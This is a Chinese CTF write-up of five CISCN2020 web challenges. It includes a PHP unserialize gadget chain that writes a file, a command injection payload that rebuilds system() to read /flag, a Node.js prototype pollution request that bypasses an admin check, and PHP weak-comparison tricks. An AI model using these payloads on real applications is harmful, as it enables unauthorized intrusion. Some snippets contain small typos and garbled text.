CISCN2020初赛 Web Writeup

CISCN2020初赛 Web Writeup

摘要:CISCN2020 Web Writeup

0x01 写在前面

这两天跟着学校的师傅一起打了国赛,题目整体而言还算简单,考点主要是php反序列化、php弱类型、js原型链污染,甚至没有sql注入。趁着环境没关,把writeup写了,反正后面也是要交的。

0x02 Writeup 部分

easyphp

题目提示说需要让进程异常,查看源码可以发现确实需要进程异常才可到phpinfo():

注意到call_user_func_array可以调用回调函数。我们可以通过调用pcntl_wait(),使得本进程进入判断。但因为第一个参数a中pcntl被过滤,因此联系提示,可以使用call_user_func,将其传入第一个参数a,而后传入参数b调用pcntl_wait()以及其对应参数,false对应进程号0。由此成功触发异常。phpinfo中拿到flag

1
?a=call_user_func&b=pcntl_wait

babyunserialize

一开始通过www.zip得到源码,而后为了方便理解代码逻辑,我将该项目通过phpstudy部署到本地来进行单步调试。

阅读源码:

在index.php处发现反序列化入口

直接通过全局搜索定位解构函数:

进入到jig.php,看见write:

往上溯源:

可以在base.php中找到Base类,继续溯源:

文件写入。可以考虑写shell拿flag了,根据观察我们需要满足以下条件:

1)lazy==true;

2)dir!=null;

3)传入$data必须为数组;

由此,可以构造我们下面的payload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php
namespace DB;
require 'base.php';
//! In-memory/flat-file DB wrapper
class Jig {
//@{ Storage formats
const
FORMAT_JSON=0,
FORMAT_Serialized=1;
//@}
protected
//! UUID
$uuid,
//! Storage location
$dir,
//! Current storage format
$format,
//! Jig log
$log,
//! Memory-held data
$data,
//! lazy load/save files
$lazy;

function write($file,array $data=NULL) {
echo "hello!";
if (!$this->dir || $this->lazy)
return count($this->data[$file]=$data);
$fw=\Base::instance();
switch ($this->format) {
case self::FORMAT_JSON:
$out=json_encode($data,JSON_PRETTY_PRINT);
break;
case self::FORMAT_Serialized:
$out=$fw->serialize($data);
echo $out;
break;
}
return $fw->write($this->dir.$file,$out);
}

function __construct($dir=NULL,$format=self::FORMAT_JSON,$lazy=FALSE) {
if ($dir && !is_dir($dir))
mkdir($dir,\Base::MODE,TRUE);
$this->uuid=\Base::instance()->hash($this->dir=$dir);
$this->format=$format;
$this->lazy=$lazy;
$c = arrary("<?php phpinfo(); ?>");
$this->data=array("hn13.php"=>$c);
}

/**
* save file on destruction
**/
function __destruct() {
if ($this->lazy) {
$this->lazy = FALSE;
echo "\nhn13";
foreach ($this->data?:[] as $file => $data)
$this->write($file,$data);
}
}

}
$a = new Jig($lazy=TRUE);
echo serialize($a);
echo urlencode(serialize($a));

反序列化后传参即可在phpinfo中得到flag:

RCEme

修改自CVE-2019-17408,可见文章
这题因为过滤了str、file以及尖括号导致原来写shell的思路被否定。根据题目提示,为rce。翻看p神的文章发现了可以利用array_map()来回调函数。这边把一些系统调用函数过滤了,我们可以使用字符串拼接来完成最后的payload:

1
{if:1=1);array_map('sys'.'tem', ['cat /flag']);//} {end if}

littlegame

原型链污染

首先审计源码,注意到两个关键路由如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
const Admin = {
"password1":process.env.p1,
"password2":process.env.p2,
"password3":process.env.p3
}

router.post("/DeveloperControlPanel", function (req, res, next) {
// not implement
if (req.body.key === undefined || req.body.password === undefined){
res.send("What's your problem?");
}else {
//
let key = req.body.key.toString();
let password = req.body.password.toString();
if(Admin[key] === password){
res.send(process.env.flag);
}else {
res.send("Wrong password!Are you Admin?");
}
}

});

router.post("/Privilege", function (req, res, next) {
// Why not ask witch for help?
if(req.session.knight === undefined){
res.redirect('/SpawnPoint');
}else{
if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
res.send("What's your problem?");
}else {
let key = req.body.NewAttributeKey.toString();
let value = req.body.NewAttributeValue.toString();
setFn(req.session.knight, key, value);
res.send("Let's have a check!");
}
}
});

第一个路由,传入两个参数,key从admin对象中取值而后同用户传入的password比较;

第二个路由,传入两个参数,分别加入到Knight对象中。

参看这篇文章

而按照题目的逻辑,我们只需要“污染”一个新的password匹配到即可得到我们想要的flag。payload:

1
2
3
4
5
// /Privilege下POST
NewAttributeKey=constructor.prototype.password4&NewAttributeValue=123456

// /DeveloperControlPanel下POST
key=password4&password=123456

传参后访问hn13.php即可得到flag

easytrick

php浮点数的精度问题,0.20.2的结果是与0.04本身不等的,等于0.04n\01,故可以过弱比较。反序列化后传参即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class trick{
public $trick1;
public $trick2;
public function __destruct(){
$this->trick1 = (string)$this->trick1;
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
die("你太长了");
}
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo file_get_contents("/flag");
}
}
}
highlight_file(__FILE__);

$c = new trick();
$c->trick1="0.04";
$c->trick2=0.2*0.2;
$d = serialize($c);
echo urlencode($d);


评论